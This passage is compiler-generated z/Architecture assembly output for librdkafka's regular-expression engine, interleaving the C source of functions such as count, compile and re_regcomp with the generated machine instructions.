LG 15,@lit_792_292 ; re_accept @@gen_label447 DS 0H BALR 14,15 @@gen_label448 DS 0H LTR 15,15 BNZ @L212 * *** return alt; LGR 15,2 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "parsealt" * (FUNCTION #792) * @AUTO#parsealt DSECT DS XL168 * @CODE CSECT * * * * ....... start of count @LNAME796 DS 0H DC X'00000005' DC C'count' DC X'00' count DCCPRLG CINDEX=796,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME796 * ******* End of Prologue * * LG 2,0(0,1) ; node * *** unsigned int min, max; * *** if (!node) return 0; LTGR 15,2 BNZ @L215 LGHI 15,0 ; 0 B @ret_lab_796 DS 0D @FRAMESIZE_796 DC F'184' @lit_796_296 DC AD(count) * *** switch (node->type) { * *** default: return 1; @L217 DS 0H LGHI 15,1 ; 1 B @ret_lab_796 * *** case P_CAT: return count(node->x) + count(node->y); @L218 DS 0H LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 3,@lit_796_296 ; count LGR 15,3 @@gen_label451 DS 0H BALR 14,15 @@gen_label452 DS 0H LR 4,15 LG 15,24(0,2) STG 15,176(0,13) LA 1,176(0,13) LGR 15,3 @@gen_label453 DS 0H BALR 14,15 @@gen_label454 DS 0H ALR 4,15 LLGFR 15,4 B @ret_lab_796 * *** case P_ALT: return count(node->x) + count(node->y) + 2; @L219 DS 0H LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 3,@lit_796_296 ; count LGR 15,3 @@gen_label455 DS 0H BALR 14,15 @@gen_label456 DS 0H LR 4,15 LG 15,24(0,2) STG 15,176(0,13) LA 1,176(0,13) LGR 15,3 @@gen_label457 DS 0H BALR 14,15 @@gen_label458 DS 0H ALR 4,15 AHI 4,2 LLGFR 15,4 B @ret_lab_796 * *** case P_REP: @L220 DS 0H * *** min = node->m; LLC 3,2(0,2) * *** max = node->n; LLC 4,3(0,2) * *** if (min == max) return count(node->x) * min; CLR 3,4 BNE @L221 LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_796_296 ; count @@gen_label460 DS 0H BALR 14,15 @@gen_label461 DS 0H MSR 15,3 LLGFR 15,15 B @ret_lab_796 @L221 DS 0H * *** if (max < 255) return count(node->x) * max + (max - min)\ * ; CLFI 4,X'000000FF' BNL @L222 LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_796_296 ; count @@gen_label463 DS 0H BALR 14,15 @@gen_label464 DS 0H MSR 15,4 SLR 4,3 ALR 15,4 LLGFR 15,15 B @ret_lab_796 @L222 DS 0H * *** return count(node->x) * (min + 1) + 2; LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_796_296 ; count @@gen_label465 DS 0H BALR 14,15 @@gen_label466 DS 0H AHI 3,1 MSR 15,3 AHI 15,2 LLGFR 15,15 B @ret_lab_796 * *** case P_PAR: return count(node->x) + 2; @L223 DS 0H LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_796_296 ; count @@gen_label467 DS 0H BALR 14,15 @@gen_label468 DS 0H AHI 15,2 LLGFR 15,15 B @ret_lab_796 * *** case P_PLA: return count(node->x) + 2; @L224 DS 0H LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_796_296 ; count @@gen_label469 DS 0H BALR 14,15 @@gen_label470 DS 0H AHI 15,2 LLGFR 15,15 B @ret_lab_796 * *** case P_NLA: return count(node->x) + 2; @L225 DS 0H LG 15,16(0,2) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_796_296 ; count @@gen_label471 DS 0H BALR 14,15 @@gen_label472 DS 0H AHI 15,2 LLGFR 15,15 B @ret_lab_796 * *** } @L215 DS 0H LLC 15,0(0,2) CLFI 15,X'00000007' BNL @@gen_label473 CLFI 15,X'00000000' BE @L218 CLFI 15,X'00000001' BE @L219 CLFI 15,X'00000002' BE @L220 B @L217 @@gen_label473 DS 0H CLFI 15,X'00000007' BE @L223 CLFI 15,X'00000008' BE @L224 CLFI 15,X'00000009' BE @L225 B @L217 * *** } @ret_lab_796 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "count" * (FUNCTION #796) * @AUTO#count DSECT DS XL168 count#max#0 DS 1F ; max ORG @AUTO#count+168 count#min#0 DS 1F ; min * @CODE CSECT * * * * ....... start of emit @LNAME797 DS 0H DC X'00000004' DC C'emit' DC X'00' emit DCCPRLG CINDEX=797,BASER=0,FRAME=176,SAVEAREA=NO,ENTRY=NO,ARCH* =ZARCH,LNAMEADDR=@LNAME797 * ******* End of Prologue * * * *** Reinst *inst = prog->end++; LG 15,0(0,1) ; prog LG 2,8(0,15) LA 3,32(0,2) STG 3,8(0,15) * *** inst->opcode = opcode; L 15,12(0,1) ; opcode STC 15,0(0,2) ; inst * *** inst->n = 0; MVI 1(2),0 ; offset of n in Reinst * *** inst->c = 0; MVHI 4(2),0 ; offset of c in Reinst * *** inst->cc = ((void *)0); LGHI 15,0 ; 0 STG 15,8(0,2) ; offset of cc in Reinst * *** inst->x = inst->y = ((void *)0); STG 15,24(0,2) ; offset of y in Reinst STG 15,16(0,2) * *** return inst; LGR 15,2 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue * * DSECT for automatic variables in "emit" * (FUNCTION #797) * @AUTO#emit DSECT DS XL168 * @CODE CSECT * * * * ....... start of compile @LNAME798 DS 0H DC X'00000007' DC C'compile' DC X'00' compile DCCPRLG CINDEX=798,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME798 * ******* End of Prologue * * LMG 4,5,0(1) ; prog * *** Reinst *inst, *split, *jump; * *** unsigned int i; * *** * *** if (!node) LTGR 15,5 BNZ @L227 * *** return; B @ret_lab_798 DS 0D @FRAMESIZE_798 DC F'192' @lit_798_310 DC AD(compile) @lit_798_312 DC AD(emit) @lit_798_339 DC AD(canon) @lit_region_diff_798_1_2 DC A(@REGION_798_2-@REGION_798_1) * *** * *** switch (node->type) { * *** case P_CAT: @L229 DS 0H * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 2,@lit_798_310 ; compile LGR 15,2 @@gen_label475 DS 0H BALR 14,15 @@gen_label476 DS 0H * *** compile(prog, node->y); STG 4,176(0,13) LG 15,24(0,5) STG 15,184(0,13) LA 1,176(0,13) LGR 15,2 @@gen_label477 DS 0H BALR 14,15 @@gen_label478 DS 0H * *** break; B @L228 * *** * *** case P_ALT: @L230 DS 0H * *** split = emit(prog, I_SPLIT); STG 4,176(0,13) MVGHI 184(13),2 LA 1,176(0,13) LG 3,@lit_798_312 ; emit LGR 15,3 @@gen_label479 DS 0H BALR 14,15 @@gen_label480 DS 0H LGR 2,15 ; split * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 6,@lit_798_310 ; compile LGR 15,6 @@gen_label481 DS 0H BALR 14,15 @@gen_label482 DS 0H * *** jump = emit(prog, I_JUMP); STG 4,176(0,13) MVGHI 184(13),1 LA 1,176(0,13) LGR 15,3 @@gen_label483 DS 0H BALR 14,15 @@gen_label484 DS 0H LGR 3,15 ; jump * *** compile(prog, node->y); STG 4,176(0,13) LG 15,24(0,5) STG 15,184(0,13) LA 1,176(0,13) LGR 15,6 @@gen_label485 DS 0H BALR 14,15 @@gen_label486 DS 0H * *** split->x = split + 1; LA 15,32(0,2) STG 15,16(0,2) ; offset of x in Reinst * *** split->y = jump + 1; LA 15,32(0,3) STG 15,24(0,2) ; offset of y in Reinst * *** jump->x = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,16(0,3) ; offset of x in Reinst * *** break; B @L228 * *** * *** case P_REP: @L231 DS 0H * *** for (i = 0; i < node->m; ++i) { LHI 3,0 ; 0 B @L233 @L232 DS 0H * *** inst = prog->end; LG 6,8(0,4) ; offset of end in Reprog * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_798_310 ; compile @@gen_label487 DS 0H BALR 14,15 @@gen_label488 DS 0H * *** } AHI 3,1 @L233 DS 0H LLC 15,2(0,5) CLR 3,15 BL @L232 * *** if (node->m == node->n) CLC 2(1,5),3(5) BE @L228 * *** break; @L236 DS 0H * *** if (node->n < 255) { CLI 3(5),255 BNL @L237 * *** for (i = node->m; i < node->n; ++i) { LLC 3,2(0,5) B @L239 @L238 DS 0H * *** split = emit(prog, I_SPLIT); STG 4,176(0,13) MVGHI 184(13),2 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label492 DS 0H BALR 14,15 @@gen_label493 DS 0H LGR 2,15 ; split * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_798_310 ; compile @@gen_label494 DS 0H BALR 14,15 @@gen_label495 DS 0H * *** if (node->ng) { CLI 1(5),0 BE @L242 * *** split->y = split + 1; LA 15,32(0,2) STG 15,24(0,2) ; offset of y in Reinst * *** split->x = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,16(0,2) ; offset of x in Reinst * *** } else { B @L243 @L242 DS 0H * *** split->x = split + 1; LA 15,32(0,2) STG 15,16(0,2) ; offset of x in Reinst * *** split->y = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,24(0,2) ; offset of y in Reinst * *** } @L243 DS 0H * *** } AHI 3,1 @L239 DS 0H LLC 15,3(0,5) CLR 3,15 BL @L238 * *** } else if (node->m == 0) { B @L228 @L237 DS 0H CLI 2(5),0 BNE @L245 * *** split = emit(prog, I_SPLIT); STG 4,176(0,13) MVGHI 184(13),2 LA 1,176(0,13) LG 3,@lit_798_312 ; emit LGR 15,3 @@gen_label499 DS 0H BALR 14,15 @@gen_label500 DS 0H LGR 2,15 ; split * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_798_310 ; compile @@gen_label501 DS 0H BALR 14,15 @@gen_label502 DS 0H * *** jump = emit(prog, I_JUMP); STG 4,176(0,13) MVGHI 184(13),1 LA 1,176(0,13) LGR 15,3 @@gen_label503 DS 0H BALR 14,15 @@gen_label504 DS 0H LGR 3,15 ; jump * *** if (node->ng) { CLI 1(5),0 BE @L246 * *** split->y = split + 1; LA 15,32(0,2) STG 15,24(0,2) ; offset of y in Reinst * *** split->x = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,16(0,2) ; offset of x in Reinst * *** } else { B @L247 @L246 DS 0H * *** split->x = split + 1; LA 15,32(0,2) STG 15,16(0,2) ; offset of x in Reinst * *** split->y = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,24(0,2) ; offset of y in Reinst * *** } @L247 DS 0H * *** jump->x = split; STG 2,16(0,3) ; offset of x in Reinst * *** } else { B @L228 @L245 DS 0H * *** split = emit(prog, I_SPLIT); STG 4,176(0,13) MVGHI 184(13),2 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label506 DS 0H BALR 14,15 @@gen_label507 DS 0H LGR 2,15 ; split * *** if (node->ng) { CLI 1(5),0 BE @L249 * *** split->y = inst; STG 6,24(0,2) ; offset of y in Reinst * *** split->x = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,16(0,2) ; offset of x in Reinst * *** } else { B @L228 @L249 DS 0H * *** split->x = inst; STG 6,16(0,2) ; offset of x in Reinst * *** split->y = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,24(0,2) ; offset of y in Reinst * *** } @L250 DS 0H * *** } @L248 DS 0H * *** break; @L244 DS 0H B @L228 * *** * *** case P_BOL: emit(prog, I_BOL); break; @L251 DS 0H STG 4,176(0,13) MVGHI 184(13),11 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label509 DS 0H BALR 14,15 @@gen_label510 DS 0H B @L228 * *** case P_EOL: emit(prog, I_EOL); break; @L252 DS 0H STG 4,176(0,13) MVGHI 184(13),12 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label511 DS 0H BALR 14,15 @@gen_label512 DS 0H B @L228 * *** case P_WORD: emit(prog, I_WORD); break; @L253 DS 0H STG 4,176(0,13) MVGHI 184(13),13 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label513 DS 0H BALR 14,15 @@gen_label514 DS 0H B @L228 * *** case P_NWORD: emit(prog, I_NWORD); break; @L254 DS 0H STG 4,176(0,13) MVGHI 184(13),14 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label515 DS 0H BALR 14,15 @@gen_label516 DS 0H B @L228 * *** * *** case P_PAR: @L255 DS 0H * *** inst = emit(prog, I_LPAR); STG 4,176(0,13) MVGHI 184(13),15 LA 1,176(0,13) LG 2,@lit_798_312 ; emit LGR 15,2 @@gen_label517 DS 0H BALR 14,15 @@gen_label518 DS 0H * *** inst->n = node->n; IC 1,3(0,5) ; offset of n in Renode STC 1,1(0,15) ; offset of n in Reinst * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_798_310 ; compile @@gen_label519 DS 0H BALR 14,15 @@gen_label520 DS 0H * *** inst = emit(prog, I_RPAR); STG 4,176(0,13) MVGHI 184(13),16 LA 1,176(0,13) LGR 15,2 @@gen_label521 DS 0H BALR 14,15 @@gen_label522 DS 0H * *** inst->n = node->n; IC 1,3(0,5) ; offset of n in Renode STC 1,1(0,15) ; offset of n in Reinst * *** break; B @L228 * *** case P_PLA: @L256 DS 0H * *** split = emit(prog, I_PLA); STG 4,176(0,13) MVGHI 184(13),3 LA 1,176(0,13) LG 3,@lit_798_312 ; emit LGR 15,3 @@gen_label523 DS 0H BALR 14,15 @@gen_label524 DS 0H LGR 2,15 ; split * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_798_310 ; compile @@gen_label525 DS 0H BALR 14,15 @@gen_label526 DS 0H * *** emit(prog, I_END); STG 4,176(0,13) XC 184(8,13),184(13) LA 1,176(0,13) LGR 15,3 @@gen_label527 DS 0H BALR 14,15 @@gen_label528 DS 0H * *** split->x = split + 1; LA 15,32(0,2) STG 15,16(0,2) ; offset of x in Reinst * *** split->y = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,24(0,2) ; offset of y in Reinst * *** break; B @L228 * *** case P_NLA: @L257 DS 0H * *** split = emit(prog, I_NLA); STG 4,176(0,13) MVGHI 184(13),4 LA 1,176(0,13) LG 3,@lit_798_312 ; emit LGR 15,3 @@gen_label529 DS 0H BALR 14,15 @@gen_label530 DS 0H LGR 2,15 ; split * *** compile(prog, node->x); STG 4,176(0,13) LG 15,16(0,5) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_798_310 ; compile @@gen_label531 DS 0H BALR 14,15 @@gen_label532 DS 0H * *** emit(prog, I_END); STG 4,176(0,13) XC 184(8,13),184(13) LA 1,176(0,13) LGR 15,3 @@gen_label533 DS 0H BALR 14,15 @@gen_label534 DS 0H * *** split->x = split + 1; LA 15,32(0,2) STG 15,16(0,2) ; offset of x in Reinst * *** split->y = prog->end; LG 15,8(0,4) ; offset of end in Reprog STG 15,24(0,2) ; offset of y in Reinst * *** break; B @L228 * *** * *** case P_ANY: @L258 DS 0H * *** emit(prog, I_ANY); STG 4,176(0,13) MVGHI 184(13),6 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label535 DS 0H BALR 14,15 @@gen_label536 DS 0H * *** break; B @L228 * *** case P_CHAR: @L259 DS 0H * *** inst = emit(prog, I_CHAR); STG 4,176(0,13) MVGHI 184(13),7 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label537 DS 0H BALR 14,15 @@gen_label538 DS 0H LGR 2,15 * *** inst->c = (prog->flags & REG_ICASE) ? canon(node->c) : n\ * ode->c; TM 19(4),1 BZ @L260 LLGF 15,4(0,5) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_798_339 ; canon @@gen_label540 DS 0H BALR 14,15 @@gen_label541 DS 0H B @L261 @L260 DS 0H L 15,4(0,5) ; offset of c in Renode @L261 DS 0H ST 15,4(0,2) * *** break; B @L228 * *** case P_CCLASS: @L262 DS 0H * *** inst = emit(prog, I_CCLASS); STG 4,176(0,13) MVGHI 184(13),8 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label542 DS 0H BALR 14,15 @@gen_label543 DS 0H * *** inst->cc = node->cc; LG 1,8(0,5) ; offset of cc in Renode STG 1,8(0,15) ; offset of cc in Reinst * *** break; B @L228 * *** case P_NCCLASS: @L263 DS 0H * *** inst = emit(prog, I_NCCLASS); STG 4,176(0,13) MVGHI 184(13),9 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label544 DS 0H BALR 14,15 @@gen_label545 DS 0H * *** inst->cc = node->cc; LG 1,8(0,5) ; offset of cc in Renode STG 1,8(0,15) ; offset of cc in Reinst * *** break; B @L228 * *** case P_REF: @L264 DS 0H * *** inst = emit(prog, I_REF); STG 4,176(0,13) MVGHI 184(13),10 LA 1,176(0,13) LG 15,@lit_798_312 ; emit @@gen_label546 DS 0H BALR 14,15 @@gen_label547 DS 0H * *** inst->n = node->n; IC 1,3(0,5) ; offset of n in Renode STC 1,1(0,15) ; offset of n in Reinst * *** break; B @L228 * *** } @L227 DS 0H LLC 15,0(0,5) CLFI 15,X'0000000E' BH @L228 LLGFR 15,15 LA 1,@@gen_label548 SLLG 15,15,3(0) LG 15,0(1,15) B 0(15,12) @@gen_label548 DS 0D DC AD(@L229-@REGION_798_1) DC AD(@L230-@REGION_798_1) DC AD(@L231-@REGION_798_1) DC AD(@L251-@REGION_798_1) DC AD(@L252-@REGION_798_1) DC AD(@L253-@REGION_798_1) DC AD(@L254-@REGION_798_1) DC AD(@L255-@REGION_798_1) DC AD(@L256-@REGION_798_1) DC AD(@L257-@REGION_798_1) DC AD(@L258-@REGION_798_1) DC AD(@L259-@REGION_798_1) DC AD(@L262-@REGION_798_1) DC AD(@L263-@REGION_798_1) DC AD(@L264-@REGION_798_1) @L228 DS 0H * *** } @ret_lab_798 DS 0H ALGF 12,@lit_region_diff_798_1_2 @REGION_798_2 DS 0H DROP 12 USING @REGION_798_2,12 * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "compile" * (FUNCTION #798) * @AUTO#compile DSECT DS XL168 compile#i#0 DS 1F ; i * @CODE CSECT * * * * ....... start of re_regcomp re_regcomp ALIAS X'99856D99858783969497' @LNAME765 DS 0H DC X'0000000A' DC C're_regcomp' DC X'00' re_regcomp DCCPRLG CINDEX=765,BASER=12,FRAME=192,ENTRY=YES,ARCH=ZARCH,L* NAMEADDR=@LNAME765 LGR 6,1 ; ptr to parm area * ******* End of Prologue * * LG 2,16(0,6) ; errorp * *** Reprog *prog; * *** Restate *g; * *** Renode *node; * *** Reinst *split, *jump; * *** int i; * *** unsigned int ncount; * *** size_t pattern_len = __strlen(pattern); LG 15,0(0,6) LGR 1,15 LGHI 0,0 @@gen_label549 DS 0H SRST 0,15 BC 1,@@gen_label549 LGR 5,0 SLGR 5,1 * *** * *** if (pattern_len > 10000) { CLGFI 5,X'00002710' BNH @L265 * *** * *** if (errorp) LTGR 15,2 BZ @L266 * *** *errorp = "regexp pattern too long (ma\ * x 10000)"; LG 15,@lit_765_346 LA 15,424(0,15) STG 15,0(0,2) ; errorp @L266 DS 0H * *** return ((void *)0); LGHI 15,0 ; 0 B @ret_lab_765 DS 0D @FRAMESIZE_765 DC F'192' @lit_765_346 DC AD(@strings@) @lit_765_348 DC AD(rd_calloc) @lit_765_350 DC AD(rd_malloc) @lit_765_351 DC AD(setjmp) @lit_765_352 DC AD(rd_free) @lit_765_357 DC AD(next) @lit_765_358 DC AD(parsealt) @lit_765_360 DC AD(die) @lit_765_363 DC AD(count) @lit_765_367 DC AD(emit) @lit_765_371 DC AD(compile) * *** } @L265 DS 0H * *** * *** prog = rd_calloc(1, sizeof (Reprog)); MVGHI 176(13),1 MVGHI 184(13),4728 LA 1,176(0,13) LG 15,@lit_765_348 ; rd_calloc @@gen_label552 DS 0H BALR 14,15 @@gen_label553 DS 0H LGR 3,15 * *** g = &prog->g; LGHI 1,4248 ; 4248 LA 4,0(1,3) * *** g->prog = prog; STG 3,0(0,4) ; g * *** g->pstart = g->pend = rd_malloc(sizeof (Renode) * pattern_l\ * en * 2); SLLG 15,5,5(0) ; *0x20 AGR 15,15 ; *0x2 STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_765_350 ; rd_malloc @@gen_label554 DS 0H BALR 14,15 @@gen_label555 DS 0H STG 15,16(0,4) STG 15,8(0,4) * *** * *** if (setjmp(g->kaboom)) { LA 15,200(0,4) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_765_351 ; setjmp @@gen_label556 DS 0H BALR 14,15 @@gen_label557 DS 0H LTR 15,15 BZ @L267 * *** if (errorp) *errorp = g->error; LTGR 15,2 BZ @L268 LG 15,192(0,4) ; offset of error in Restate STG 15,0(0,2) ; errorp @L268 DS 0H * *** rd_free(g->pstart); LG 15,8(0,4) STG 15,176(0,13) LA 1,176(0,13) LG 2,@lit_765_352 ; rd_free LGR 15,2 @@gen_label560 DS 0H BALR 14,15 @@gen_label561 DS 0H * *** rd_free(prog); STG 3,176(0,13) LA 1,176(0,13) LGR 15,2 @@gen_label562 DS 0H BALR 14,15 @@gen_label563 DS 0H * *** return ((void *)0); LGHI 15,0 ; 0 B @ret_lab_765 * *** } @L267 DS 0H * *** * *** g->source = pattern; LG 15,0(0,6) ; pattern STG 15,24(0,4) ; offset of source in Restate * *** g->ncclass = 0; MVHI 32(4),0 ; offset of ncclass in Restate * *** g->nsub = 1; MVHI 36(4),1 ; offset of nsub in Restate * *** for (i = 0; i < REG_MAXSUB; ++i) LHI 15,0 ; 0 B @L270 @L269 DS 0H * *** g->sub[i] = 0; LGFR 1,15 SLLG 1,1,3(0) ; *0x8 LGHI 3,0 ; 0 STG 3,40(1,4) AHI 15,1 @L270 DS 0H CHI 15,16 BL @L269 * *** * *** g->prog->flags = cflags; LG 15,0(0,4) ; g L 1,12(0,6) ; cflags ST 1,16(0,15) ; offset of flags in Reprog * *** * *** next(g); STG 4,176(0,13) LA 1,176(0,13) LG 15,@lit_765_357 ; next @@gen_label565 DS 0H BALR 14,15 @@gen_label566 DS 0H * *** node = parsealt(g); STG 4,176(0,13) LA 1,176(0,13) LG 15,@lit_765_358 ; parsealt @@gen_label567 DS 0H BALR 14,15 @@gen_label568 DS 0H LGR 3,15 * *** if (g->lookahead == ')') CHSI 168(4),93 BNE @L273 * *** die(g, "unmatched ')'"); STG 4,176(0,13) LG 15,@lit_765_346 LA 15,460(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_765_360 ; die @@gen_label570 DS 0H BALR 14,15 @@gen_label571 DS 0H @L273 DS 0H * *** if (g->lookahead != 0) CHSI 168(4),0 BE @L274 * *** die(g, "syntax error"); STG 4,176(0,13) LG 15,@lit_765_346 LA 15,410(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_765_360 ; die @@gen_label573 DS 0H BALR 14,15 @@gen_label574 DS 0H @L274 DS 0H * *** * *** g->prog->nsub = g->nsub; LG 15,0(0,4) ; g L 1,36(0,4) ; offset of nsub in Restate ST 1,20(0,15) ; offset of nsub in Reprog * *** ncount = count(node); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_765_363 ; count @@gen_label575 DS 0H BALR 14,15 @@gen_label576 DS 0H LR 5,15 * *** if (ncount > 10000) CLFI 5,X'00002710' BNH @L275 * *** die(g, "regexp graph too large"); STG 4,176(0,13) LG 15,@lit_765_346 LA 15,474(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_765_360 ; die @@gen_label578 DS 0H BALR 14,15 @@gen_label579 DS 0H @L275 DS 0H * *** g->prog->start = g->prog->end = rd_malloc((ncount + 6)\ * * sizeof (Reinst)); LG 6,0(0,4) ; g LG 7,0(0,4) ; g AHI 5,6 LLGFR 15,5 SLLG 15,15,5(0) ; *0x20 STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_765_350 ; rd_malloc @@gen_label580 DS 0H BALR 14,15 @@gen_label581 DS 0H STG 15,8(0,7) STG 15,0(0,6) * *** * *** split = emit(g->prog, I_SPLIT); LG 15,0(0,4) STG 15,176(0,13) MVGHI 184(13),2 LA 1,176(0,13) LG 6,@lit_765_367 ; emit LGR 15,6 @@gen_label582 DS 0H BALR 14,15 @@gen_label583 DS 0H LGR 5,15 * *** split->x = split + 3; LA 1,96(0,5) STG 1,16(0,5) ; offset of x in Reinst * *** split->y = split + 1; LA 1,32(0,5) STG 1,24(0,5) ; offset of y in Reinst * *** emit(g->prog, I_ANYNL); LG 15,0(0,4) STG 15,176(0,13) MVGHI 184(13),5 LA 1,176(0,13) LGR 15,6 @@gen_label584 DS 0H BALR 14,15 @@gen_label585 DS 0H * *** jump = emit(g->prog, I_JUMP); LG 15,0(0,4) STG 15,176(0,13) MVGHI 184(13),1 LA 1,176(0,13) LGR 15,6 @@gen_label586 DS 0H BALR 14,15 @@gen_label587 DS 0H * *** jump->x = split; STG 5,16(0,15) ; offset of x in Reinst * *** emit(g->prog, I_LPAR); LG 15,0(0,4) STG 15,176(0,13) MVGHI 184(13),15 LA 1,176(0,13) LGR 15,6 @@gen_label588 DS 0H BALR 14,15 @@gen_label589 DS 0H * *** compile(g->prog, node); LG 15,0(0,4) STG 15,176(0,13) STG 3,184(0,13) LA 1,176(0,13) LG 15,@lit_765_371 ; compile @@gen_label590 DS 0H BALR 14,15 @@gen_label591 DS 0H * *** emit(g->prog, I_RPAR); LG 15,0(0,4) STG 15,176(0,13) MVGHI 184(13),16 LA 1,176(0,13) LGR 15,6 @@gen_label592 DS 0H BALR 14,15 @@gen_label593 DS 0H * *** emit(g->prog, I_END); LG 15,0(0,4) STG 15,176(0,13) XC 184(8,13),184(13) LA 1,176(0,13) LGR 15,6 @@gen_label594 DS 0H BALR 14,15 @@gen_label595 DS 0H * *** * *** * *** # 905 "C:\asgkafka\librdkafka\src\regexp.c" * *** rd_free(g->pstart); LG 15,8(0,4) STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_765_352 ; rd_free @@gen_label596 DS 0H BALR 14,15 @@gen_label597 DS 0H * *** * *** if (errorp) *errorp = ((void *)0); LTGR 15,2 BZ @L276 LGHI 15,0 ; 0 STG 15,0(0,2) ; errorp @L276 DS 0H * *** return g->prog; LG 15,0(0,4) ; g * *** } @ret_lab_765 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "re_regcomp" * (FUNCTION #765) * @AUTO#re_regcomp DSECT DS XL168 re_regcomp#pattern_len#0 DS 8XL1 ; pattern_len ORG @AUTO#re_regcomp+168 re_regcomp#ncount#0 DS 1F ; ncount ORG @AUTO#re_regcomp+168 re_regcomp#i#0 DS 1F ; i * @CODE CSECT * * * * ....... start of re_regfree re_regfree ALIAS X'99856D99858786998585' @LNAME767 DS 0H DC X'0000000A' DC C're_regfree' DC X'00' re_regfree DCCPRLG CINDEX=767,BASER=12,FRAME=176,ENTRY=YES,ARCH=ZARCH,L* NAMEADDR=@LNAME767 * ******* End of Prologue * * * *** if (prog) { LG 2,0(0,1) ; prog LTGR 15,2 BZ @ret_lab_767 * *** rd_free(prog->start); LG 15,0(0,2) STG 15,168(0,13) LA 1,168(0,13) LG 3,@lit_767_377 ; rd_free LGR 15,3 @@gen_label600 DS 0H BALR 14,15 @@gen_label601 DS 0H * *** rd_free(prog); STG 2,168(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label602 DS 0H BALR 14,15 @@gen_label603 DS 0H * *** } @L277 DS 0H * *** } @ret_lab_767 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_767 DC F'176' @lit_767_377 DC AD(rd_free) DROP 12 * * DSECT for automatic variables in "re_regfree" * (FUNCTION #767) * @AUTO#re_regfree DSECT DS XL168 * @CODE CSECT * * * * ....... start of isnewline @LNAME799 DS 0H DC X'00000009' DC C'isnewline' DC X'00' isnewline DCCPRLG CINDEX=799,BASER=12,FRAME=168,SAVEAREA=NO,ENTRY=NO,AR* CH=ZARCH,LNAMEADDR=@LNAME799 * ******* End of Prologue * * * *** return c == 0xA || c == 0xD || c == 0x2028 || c == 0x2029; L 15,4(0,1) ; c CHI 15,10 BE @L280 CHI 15,13 BE @L280 @L278 DS 0H CHI 15,8232 BE @L280 @L279 DS 0H CHI 15,8233 BNE @L282 @L280 DS 0H LHI 15,1 ; 1 B @L281 @L282 DS 0H LHI 15,0 ; 0 @L281 DS 0H LGFR 15,15 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "isnewline" * (FUNCTION #799) * @AUTO#isnewline DSECT DS XL168 * @CODE CSECT * * * * ....... start of iswordchar @LNAME800 DS 0H DC X'0000000A' DC C'iswordchar' DC X'00' iswordchar DCCPRLG CINDEX=800,BASER=12,FRAME=168,SAVEAREA=NO,ENTRY=NO,A* RCH=ZARCH,LNAMEADDR=@LNAME800 * ******* End of Prologue * * * *** return c == '_' || L 15,4(0,1) ; c CHI 15,109 BE @L285 * *** (c >= 'a' && c <= 'z') || CHI 15,129 BL @L283 CHI 15,169 BNH @L285 @L283 DS 0H * *** (c >= 'A' 